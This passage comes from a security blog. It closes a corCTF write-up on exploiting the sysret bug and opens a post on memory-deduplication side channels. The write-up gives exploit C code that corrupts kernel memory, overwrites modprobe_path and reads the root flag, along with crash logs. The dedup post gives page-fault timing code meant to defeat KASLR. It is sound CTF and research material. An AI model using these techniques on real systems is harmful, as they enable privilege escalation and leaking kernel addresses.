</code></pre></div></div>

<p>Looks like rcx is the address of <code class="language-plaintext highlighter-rouge">init_ucounts</code> I don’t really know what this is for, but I see a user space stack address in there so I’m guessing I accidentally corrupted this…</p>

<p>And it is right up against <code class="language-plaintext highlighter-rouge">modprobe_path</code>, so definitely my fault.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  p/x (void*)&amp;modprobe_path - (void*)&amp;init_ucounts
$17 = 0x180
</code></pre></div></div>

<p>So I figured what if I could just use more corruption by triggering the sysret bug again to uncorrupt <code class="language-plaintext highlighter-rouge">init_ucounts</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/20gx &amp;init_ucounts
0xffffffff8203b6c0 &lt;init_ucounts&gt;:      0xffff888100049600	0xffffffff82640160
0xffffffff8203b6d0 &lt;init_ucounts+16&gt;:	0xffffffff8203a320	0x0000002f00000000
0xffffffff8203b6e0 &lt;init_ucounts+32&gt;:	0x0000000000000000	0x0000000000000000
0xffffffff8203b6f0 &lt;init_ucounts+48&gt;:	0x0000000000000000	0x0000000000000000
0xffffffff8203b700 &lt;init_ucounts+64&gt;:	0x0000000000000000	0x0000000000000000
0xffffffff8203b710 &lt;init_ucounts+80&gt;:	0x0000000000000000	0x0000000000000000
0xffffffff8203b720 &lt;init_ucounts+96&gt;:	0x0000000000000000	0x0000000000000000
0xffffffff8203b730 &lt;init_ucounts+112&gt;:	0x000000000000002a	0x0000000000000000
0xffffffff8203b740 &lt;init_ucounts+128&gt;:	0x0000000000000000	0x0000000000000000
</code></pre></div></div>

<p>Above is what <code class="language-plaintext highlighter-rouge">init_ucounts</code> looks like just after boot, I just had to make it look somewhat like that again hopefully the faults would just go away.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
    <span class="c1">// fixup corrupted init_ucounts</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">rbp</span> <span class="o">=</span> <span class="mh">0x0000002d00000000</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">r12</span> <span class="o">=</span> <span class="n">kaslr</span> <span class="o">+</span> <span class="mh">0x103a320</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">r13</span> <span class="o">=</span> <span class="n">kaslr</span> <span class="o">+</span> <span class="mh">0x1640160</span><span class="p">;</span>
    <span class="n">regs</span><span class="p">.</span><span class="n">r14</span> <span class="o">=</span> <span class="n">phys</span> <span class="o">+</span> <span class="mh">0x100049600</span><span class="p">;</span>

    <span class="c1">// position register dump over init_ucounts</span>
    <span class="n">do_sysret</span><span class="p">(</span><span class="n">modprobe_path</span><span class="o">-</span><span class="mh">0xd8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">regs</span><span class="p">);</span>
<span class="p">...</span>
</code></pre></div></div>

<p>I set up the regisers for ptrace so that the four qwords that are actually set would be set back to their initial values, and gave it a go:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/20gx &amp;init_ucounts
0xffffffff8203b6c0 &lt;init_ucounts&gt;:      0xffff888100049600      0xffffffff82640160
0xffffffff8203b6d0 &lt;init_ucounts+16&gt;:   0xffffffff8203a320      0x0000002e00000000
0xffffffff8203b6e0 &lt;init_ucounts+32&gt;:   0x0000612f706d742f      0x0000000000000246
0xffffffff8203b6f0 &lt;init_ucounts+48&gt;:   0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b700 &lt;init_ucounts+64&gt;:   0x0000612f706d742f      0x0000000000000054
0xffffffff8203b710 &lt;init_ucounts+80&gt;:   0x8000000000000000      0x0000612f706d742f
0xffffffff8203b720 &lt;init_ucounts+96&gt;:   0x0000612f706d742f      0x0000612f706d742f
0xffffffff8203b730 &lt;init_ucounts+112&gt;:  0xffffffffffffffff      0xffffffff81a00191
0xffffffff8203b740 &lt;init_ucounts+128&gt;:  0x0000000000000010      0x0000000000010046
</code></pre></div></div>

<p>Well, it looks horrible but maybe it is close enough? hopefully?</p>

<p>So I tried triggering my hijacked <code class="language-plaintext highlighter-rouge">modprobe_path</code> again, and…</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctf@corctf:~$ /sysret
KASLR base ffffffff81000000
PHYS base ffff888000000000
gsbase: 0xffff88813bc00000
[    5.115530] general protection fault, maybe for address 0x51: 0000 [#1] PREEMPT SMP NOPTI
...
[    5.150788] general protection fault, maybe for address 0x53: 0000 [#2] PREEMPT SMP NOPTI
...
ctf@corctf:~$ /tmp/bad
/tmp/bad: line 1: : not found
</code></pre></div></div>

<p>I… didn’t crash? It actually worked!?!</p>

<p>I went ahead and added a few more lines to my exploit to automatically create /tmp/a which will copy the flag to /tmp where I can read it.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">// called by modprobe</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"echo -ne </span><span class="se">\"</span><span class="s">#!/bin/sh</span><span class="se">\n</span><span class="s">cp /root/flag.txt /tmp/heckyeah</span><span class="se">\n</span><span class="s">chown ctf:ctf /tmp/heckyeah</span><span class="se">\"</span><span class="s"> &gt; /tmp/a"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"chmod 777 /tmp/a"</span><span class="p">);</span>

    <span class="p">...</span>

    <span class="c1">// trigger modprobe</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"/tmp/bad"</span><span class="p">);</span>

    <span class="c1">// get flag</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"cat /tmp/heckyeah"</span><span class="p">);</span>
<span class="err">}</span>
</code></pre></div></div>

<p>I tried running this locally and was able to the get the test flag:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctf@corctf:~$ /sysret
KASLR base ffffffff81000000
PHYS base ffff888000000000
gsbase: 0xffff88813bc00000
...
/tmp/bad: line 1: : not found
corctf{test_flag}
ctf@corctf:~$
</code></pre></div></div>

<p>Now to try it on remote!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ctf@corctf:~$ chmod +x /tmp/exploit
ctf@corctf:~$ /tmp/exploit
KASLR base ffffffffb5c00000
PHYS base ffff8d9000000000
gsbase: 0xffff8d913bc00000
[   93.372874] general protection fault, maybe for address 0x54: 0000 [#1] PREEMPT SMP NOPTI
[   93.373374] CPU: 0 PID: 83 Comm: exploit Not tainted 6.3.4 #14
[   93.373717] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.374277] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.374601] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 &lt;48&gt; 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.375677] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.375988] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.376409] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.376825] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.377248] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.377666] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.378081] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.378552] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.378881] CR2: 00007ffc8370b858 CR3: 0000000100ac4004 CR4: 0000000000770ef0
[   93.379292] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.379712] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.380129] PKRU: 55555554
[   93.380290] Call Trace:
[   93.380438] Modules linked in:
[   93.380625] ---[ end trace 0000000000000000 ]---
[   93.380897] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.381212] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 &lt;48&gt; 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.382302] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.382606] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.383027] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.383444] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.383857] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.384274] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.384689] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.385154] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.385496] CR2: 00007ffc8370b858 CR3: 0000000100ac4004 CR4: 0000000000770ef0
[   93.385915] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.386333] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.386745] PKRU: 55555554
[   93.386907] note: exploit[83] exited with irqs disabled
[   93.387268] general protection fault
[   93.387485] general protection fault, maybe for address 0x56: 0000 [#2] PREEMPT SMP NOPTI
[   93.387958] CPU: 0 PID: 85 Comm: exploit Tainted: G      D            6.3.4 #14
[   93.388394] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.388947] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.389256] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 &lt;48&gt; 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.390325] RSP: 0018:ffffffffb6c3b768 EFLAGS: 00010046
[   93.390633] RAX: 0000000000000056 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.391053] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.391468] RBP: 0000002d00000000 R08: 0000612f706d742f R09: 0000612f706d742f
[   93.391879] R10: 0000612f706d742f R11: 0000000000000246 R12: ffffffffb6c3a320
[   93.392302] R13: ffffffffb7240160 R14: ffff8d9100049600 R15: 0000612f706d742f
[   93.392718] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.393176] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.393515] CR2: 00007ffc83709fe4 CR3: 0000000100ac8005 CR4: 0000000000770ef0
[   93.393932] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.394347] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.394757] PKRU: 55555554
[   93.394919] Call Trace:
[   93.395065] Modules linked in:
[   93.395247] ---[ end trace 0000000000000000 ]---
[   93.395512] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   93.395824] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 &lt;48&gt; 0f 07 cc 66 66 2e 0f 1f 84 00 00 00 00 00 56 48 8b 74 24 08 48
[   93.396906] RSP: 0018:ffffffffb6c3b8e8 EFLAGS: 00010046
[   93.397208] RAX: 0000000000000054 RBX: 0000612f706d742f RCX: 8000000000000000
[   93.397619] RDX: 0000612f706d742f RSI: 0000612f706d742f RDI: 0000612f706d742f
[   93.398028] RBP: 0000612f706d742f R08: 0000612f706d742f R09: 0000612f706d742f
[   93.398434] R10: 0000612f706d742f R11: 0000000000000246 R12: 0000612f706d742f
[   93.398840] R13: 0000612f706d742f R14: 0000612f706d742f R15: 0000612f706d742f
[   93.399251] FS:  0000612f706d742f(0000) GS:ffff8d913bc00000(0000) knlGS:ffff8d913bc00000
[   93.399717] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.400051] CR2: 00007ffc83709fe4 CR3: 0000000100ac8005 CR4: 0000000000770ef0
[   93.400469] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.400881] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.401295] PKRU: 55555554
[   93.401457] note: exploit[85] exited with irqs disabled
[   93.402397] ------------[ cut here ]------------
[   93.402683] WARNING: CPU: 0 PID: 30 at kernel/ucount.c:285 dec_rlimit_ucounts+0x4f/0x60
[   93.403149] Modules linked in:
[   93.403341] CPU: 0 PID: 30 Comm: kworker/u2:2 Tainted: G      D            6.3.4 #14
[   93.403797] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[   93.404358] Workqueue: events_unbound call_usermodehelper_exec_work
[   93.404727] RIP: 0010:dec_rlimit_ucounts+0x4f/0x60
[   93.405014] Code: c1 04 31 48 29 d0 78 22 48 39 cf 4c 0f 44 c0 48 8b 41 10 48 8b 88 e0 01 00 00 48 85 c9 75 db 4d 85 c0 0f 94 c0 c3 cc cc cc cc &lt;0f&gt; 0b eb da 31 c0 c3 cc cc cc cc 66 0f 1f 44 00 00 90 90 90 90 90
[   93.406089] RSP: 0018:ffffa71340107d00 EFLAGS: 00010297
[   93.406404] RAX: ffffffffffffffff RBX: ffffa71340107e08 RCX: ffffffffb6c3b6c0
[   93.406820] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffffb6c3b6c0
[   93.407240] RBP: ffff8d9100c442c0 R08: ffffffffffffffff R09: ffffffffffffffff
[   93.407651] R10: 00000000000000ba R11: 00000000000009e8 R12: ffffffffb6c3b6c0
[   93.408065] R13: 0000000000000010 R14: dead000000000122 R15: 0000000000000000
[   93.408482] FS:  0000000000000000(0000) GS:ffff8d913bc00000(0000) knlGS:0000000000000000
[   93.408947] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   93.409288] CR2: 000000000065eff0 CR3: 000000004222c006 CR4: 0000000000770ef0
[   93.409709] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[   93.410125] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[   93.410541] PKRU: 55555554
[   93.410708] Call Trace:
[   93.410862]  &lt;TASK&gt;
[   93.410992]  release_task+0x47/0x4b0
[   93.411217]  ? thread_group_cputime_adjusted+0x46/0x70
[   93.411522]  wait_consider_task+0x90d/0x9e0
[   93.411770]  do_wait+0x17b/0x2c0
[   93.411966]  kernel_wait+0x44/0x90
[   93.412175]  ? __pfx_child_wait_callback+0x10/0x10
[   93.412461]  call_usermodehelper_exec_work+0x72/0x80
[   93.412754]  process_one_work+0x1b1/0x340
[   93.412994]  worker_thread+0x45/0x3b0
[   93.413219]  ? __pfx_worker_thread+0x10/0x10
[   93.413473]  kthread+0xd1/0x100
[   93.413659]  ? __pfx_kthread+0x10/0x10
[   93.413883]  ret_from_fork+0x29/0x50
[   93.414103]  &lt;/TASK&gt;
[   93.414238] ---[ end trace 0000000000000000 ]---
/tmp/bad: line 1: : not found
corctf{tHIS is a SoFtWare ImPLEMENTAtioN isSuE. iNTeL PRoCESSORS ArE fuNCtIONinG AS PEr sPeCiFIcaTionS anD ThIS BEHavioR Is cORRecTly documEnteD IN tHE INTEL SofTwArE DEvELOPErs manual.}
</code></pre></div></div>

<p>After a few runs the prefetch attacks succeeded and the exploit worked! flag!</p>

<h2 id="closing">closing</h2>

<p>This challenge was awesome, I had been hoping someone would create a challenge around the sysret bug ever since I learned about it. So, thanks to FizzBuzz101 for creating this challenge!</p>

<style>
.caption {
  text-align: center;
  font-size: .8rem !important;
  color: lightgrey;
}
</style>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Sidechannels" /><category term="Linux" /><category term="CTF Writeup" /><summary type="html"><![CDATA[I played corCTF this weekend and managed to solve two pretty tough challenges. This will be a writeup for the first of those two, sysruption, which I managed to get first-blood on!]]></summary></entry><entry><title type="html">Understanding Memory Deduplication Attacks</title><link href="https://zolutal.github.io/dedup-attacks/" rel="alternate" type="text/html" title="Understanding Memory Deduplication Attacks" /><published>2023-06-17T00:00:00+00:00</published><updated>2023-06-17T00:00:00+00:00</updated><id>https://zolutal.github.io/dedup-attacks</id><content type="html" xml:base="https://zolutal.github.io/dedup-attacks/"><![CDATA[<p>I recently came across a bunch of research describing attacks on memory deduplication, it has been used to fingerprint systems[1], crack (K)ASLR[2,3,4], leak database records[4], and even exploit rowhammer[5]. It’s a really cool class of attacks that I hadn’t heard of before, but I wasn’t having much luck finding any POCs for these attacks… So, I figured I’d write up what I learned about how these attacks work and write my own version of one of these attacks that can be used break KASLR in KVM for the current VM as well as across VMs.</p>

<p><em>The ability to break KASLR across VMs while also bypassing KPTI using deduplication was discovered by the authors of [3], I will just be exploring the basis for these attacks and writing my own attack based on their research.</em></p>

<p>A repository of the code examples associated with this post can be found here: <a href="https://github.com/zolutal/dedup-attacks">github.com/zolutal/dedup-attacks</a></p>

<h2 id="wtf-is-deduplication">wtf is deduplication</h2>

<p>Memory deduplication is an optimization to reduce the amount of memory being used on a system. The idea being that similar processes are likely to have similar memory contents, so by pointing pages of memory that have the same content to the same physical address and marking them copy-on-write a large amount of memory can be saved.</p>

<p>Linux implements this via Kernel Same-Page Merging (KSM), which as the name implies “merges” pages with the same content by pointing them to the same physical memory. KSM will run periodically on a configurable interval, scanning a number of pages everytime for identical contents to merge.</p>

<p>Note that KSM may not be enabled by default, though it was enabled on both of my Ubuntu 22.04 machines. Also, not every page is mergable, on Linux pages are only mergable if they are explicitly marked as mergable, e.g. using madvise with MADV_MERGABLE.</p>

<p>Documentation regarding how to enable and configure KSM is located here: <a href="https://www.kernel.org/doc/html/v6.3/admin-guide/mm/ksm.html">Kernel Samepage Merging</a></p>

<p>For reference, this was the default configuration for KSM on my Ubuntu machine:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/sys/kernel/mm/ksm/run:1
/sys/kernel/mm/ksm/stable_node_chains_prune_millisecs:2000
/sys/kernel/mm/ksm/merge_across_nodes:1
/sys/kernel/mm/ksm/use_zero_pages:0
/sys/kernel/mm/ksm/pages_to_scan:100
/sys/kernel/mm/ksm/sleep_millisecs:200
/sys/kernel/mm/ksm/use_zero_pages:0
</code></pre></div></div>

<h2 id="observing-deduplication">observing deduplication</h2>

<p>As mentioned, when a page is merged it is made copy-on-write (CoW), in short this just means that it’s access permissions are set to be not writeable (write-protected) so that a page fault will occur if it is written to. When the kernel sees that a page fault occurred from an attempt to write to a copy-on-write page, it will copy the contents of the page to a newly allocated page and perform the write operation on the new page.</p>

<p>So if we have a page that got deduplicated and we write to it, a page fault will occur. The page fault will have to be handled by the kernel which will have to identify the page fault was a write to a copy-on-write page, allocate a new page, copy the contents of the old page to the new one, and perform the write again all before returning to userspace. That’s a whole lot of stuff to do which will take way longer than a non-faulting memory write, meaning we can easily use a timer to record whether or not a write was a faulting one allowing us to detect if deduplication occurred on a given page.</p>

<h3 id="timing-page-faults">timing page faults</h3>

<p>Then the first step in exploiting deduplication is being able to detect when a page fault ocurrs. A simple way to demonstrate page fault detection is by using memory allocated using mmap. On Linux, the default behavior of mmap is to not immediately allocate the memory that is requested. This is because Linux implements demand paging, so pages aren’t allocated memory until they are first accessed. We can see this from the example below.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// write a null byte to addr</span>
<span class="kt">void</span> <span class="nf">poke</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">addr</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="p">}</span>

<span class="c1">// return the difference in the processor's timestamp before and after poke</span>
<span class="kt">uint64_t</span> <span class="nf">time_poke</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">start</span> <span class="o">=</span> <span class="n">__rdtsc</span><span class="p">();</span>
    <span class="n">poke</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
    <span class="kt">uint64_t</span> <span class="n">end</span> <span class="o">=</span> <span class="n">__rdtsc</span><span class="p">();</span>
    <span class="k">return</span> <span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// allocate a single read/write anon/private page</span>
<span class="kt">void</span> <span class="o">*</span><span class="nf">alloc_page</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">return</span> <span class="n">mmap</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_ANON</span><span class="o">|</span><span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">page</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>

    <span class="c1">// demonstrates that faulting accesses have distinct timings</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"fault     : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">page</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"post-fault: %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">page</span><span class="p">));</span>
<span class="p">}</span></code></pre></figure>

<p>The timer isn’t particularly precise but it doesn’t really need to be because of how long page faults take, here is what I get running this code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fault     : 7290 cycles
post-fault: 108 cycles
</code></pre></div></div>

<p>Notice the first access took way longer, this is because as described previously the page wasn’t actually allocated until I attempted to access it. So when I wrote to it by calling poke a page fault occurred resulting in the kernel allocating memory for the page. Now when the second poke is timed the page is already allocated so the access occurs way faster and without a fault.</p>

<h3 id="timing-un-merging">timing un-merging</h3>

<p>Cool! So now let’s try to replicate this with madvise with MADV_MERGABLE.</p>

<p>Pretty similar same setup besides the madvise and additional writes, just now we let the pages get merged and time the copy-on-write page fault instead of the demand paging page fault.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="p">...</span>
<span class="c1">// read a byte from addr</span>
<span class="kt">void</span> <span class="nf">maccess</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span> <span class="k">volatile</span> <span class="kt">char</span> <span class="n">c</span> <span class="o">=</span> <span class="o">*</span><span class="n">addr</span><span class="p">;</span> <span class="p">}</span>

<span class="c1">// time maccess using the processor timestamp</span>
<span class="kt">uint64_t</span> <span class="nf">time_access</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">start</span> <span class="o">=</span> <span class="n">__rdtsc</span><span class="p">();</span>
    <span class="n">maccess</span><span class="p">(</span><span class="n">addr</span><span class="p">);</span>
    <span class="kt">uint64_t</span> <span class="n">end</span> <span class="o">=</span> <span class="n">__rdtsc</span><span class="p">();</span>
    <span class="k">return</span> <span class="n">end</span><span class="o">-</span><span class="n">start</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">// allocate victim and attacker pages</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">victim</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">attacker</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>

    <span class="c1">// mark both pages as mergable</span>
    <span class="n">madvise</span><span class="p">(</span><span class="n">victim</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">MADV_MERGEABLE</span><span class="p">);</span>
    <span class="n">madvise</span><span class="p">(</span><span class="n">attacker</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">,</span> <span class="n">MADV_MERGEABLE</span><span class="p">);</span>

    <span class="c1">// write something unique to both pages so they aren't merged with</span>
    <span class="c1">// other pages, this also faults them to be sure they are allocated</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="n">victim</span> <span class="o">=</span> <span class="mh">0x1337</span><span class="p">;</span>
    <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)</span><span class="n">attacker</span> <span class="o">=</span> <span class="mh">0x1337</span><span class="p">;</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"sleeping to wait for merge...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"finished sleeping... checking access times</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"read  : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_access</span><span class="p">(</span><span class="n">attacker</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"write : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">attacker</span><span class="p">));</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"write : %ld cycles</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">time_poke</span><span class="p">(</span><span class="n">attacker</span><span class="p">));</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>

<p>And here is what the output looks like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sleeping to wait for merge...
finished sleeping... checking access times
read  : 54 cycles
write : 96768 cycles
write : 54 cycles
</code></pre></div></div>

<p>The initial read is quick, meaning the page is present and hasn’t been swapped out or anything, but then the first write is extremely slow while the second write is quick. This result indicates that a page fault occurred on the first write due to the page having been merged, and the difference in timing for the pagefault was extremely distinct. So that now we know that we can observe memory deduplication let’s look at how to exploit it.</p>

<h2 id="targeting-kvm">targeting KVM</h2>

<p>Kernel Samepage Merging was originally designed with KVM in mind[7]. Though madvise exposes it to any application, KVM is still its main user and if it is enabled on the system qemu will use it by default.</p>

<h3 id="making-sure-ksm-is-enabled-for-kvm">making sure KSM is enabled for KVM</h3>

<p>To check if KSM is enabled on a system check the contents of /sys/kernel/mm/ksm/run, if this is set to ‘1’ then KSM is enabled.</p>

<p>To check if KSM is enabled for qemu using KVM check the contents of /etc/default/qemu-kvm, if this is set to ‘AUTO’ or ‘1’ then memory for qemu VMs that use KVM will be made mergeable.</p>

<h3 id="observing-deduplication-in-kvm">observing deduplication in KVM</h3>

<p>Let’s confirm that deduplication is detectable in KVM with a similar setup. I booted up a Linux VM using qemu-system-x86_64 with ‘–enable-kvm’ and ‘-cpu host’ specified, and ran the following code.</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// allocate victim and attacker pages</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">victim</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">attacker</span> <span class="o">=</span> <span class="n">alloc_page</span><span class="p">();</span>

<span class="c1">// write something unique to both pages so they aren't merged with</span>
<span class="c1">// other zero pages, this also faults them to be sure they are allocated</span>
<span class="n">memset</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">victim</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>
<span class="n">memset</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">attacker</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x1000</span><span class="p">);</span>

<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"sleeping to wait for merge...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">sleep</span><span class="p">(</span><span class="mi">20</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"finished sleeping... checking access times</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="c1">// make sure attacker is present and in cache</span>
    <span class="n">time_access</span><span class="p">(</span><span class="n">attacker</span><span class="p">);</span>

